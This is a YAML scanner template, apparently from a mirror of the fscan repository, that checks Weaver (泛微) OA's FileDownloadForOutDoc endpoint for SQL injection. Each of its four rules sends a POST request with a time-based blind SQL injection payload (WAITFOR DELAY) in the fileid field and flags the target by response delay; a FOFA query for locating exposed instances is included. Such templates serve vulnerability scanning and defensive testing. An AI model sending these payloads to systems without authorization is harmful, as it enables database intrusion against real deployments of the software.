mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
45 lines
1.5 KiB
YAML
45 lines
1.5 KiB
YAML
id: ecology-filedownloadforoutdoc-sqli
|
|
|
|
info:
|
|
name: 泛微 OA filedownloadforoutdoc - SQL injection
|
|
author: zan8in
|
|
severity: high
|
|
verified: true
|
|
description: |-
|
|
泛微 OA filedownloadforoutdoc interface has SQL injection
|
|
fofa: app="泛微-协同办公OA"
|
|
tags: ecology,sqli
|
|
created: 2023/07/11
|
|
|
|
set:
|
|
rand0: randomInt(100,199)
|
|
rand1: randomInt(200,299)
|
|
rand2: randomInt(300,399)
|
|
rand3: randomInt(400,499)
|
|
rules:
|
|
r0:
|
|
request:
|
|
method: POST
|
|
path: /weaver/weaver.file.FileDownloadForOutDoc
|
|
body: isFromOutImg=1&fileid={{rand0}}+WAITFOR+DELAY+'0:0:10'
|
|
expression: response.status == 200 && response.latency <= 12000 && response.latency >= 10000
|
|
r1:
|
|
request:
|
|
method: POST
|
|
path: /weaver/weaver.file.FileDownloadForOutDoc
|
|
body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
|
|
expression: response.status == 200 && response.latency <= 8000 && response.latency >= 6000
|
|
r2:
|
|
request:
|
|
method: POST
|
|
path: /weaver/weaver.file.FileDownloadForOutDoc
|
|
body: isFromOutImg=1&fileid={{rand2}}+WAITFOR+DELAY+'0:0:10'
|
|
expression: response.status == 200 && response.latency <= 12000 && response.latency >= 10000
|
|
r3:
|
|
request:
|
|
method: POST
|
|
path: /weaver/weaver.file.FileDownloadForOutDoc
|
|
body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
|
|
expression: response.status == 200 && response.latency <= 8000 && response.latency >= 6000
|
|
expression: r0() && r1() && r2() && r3()
|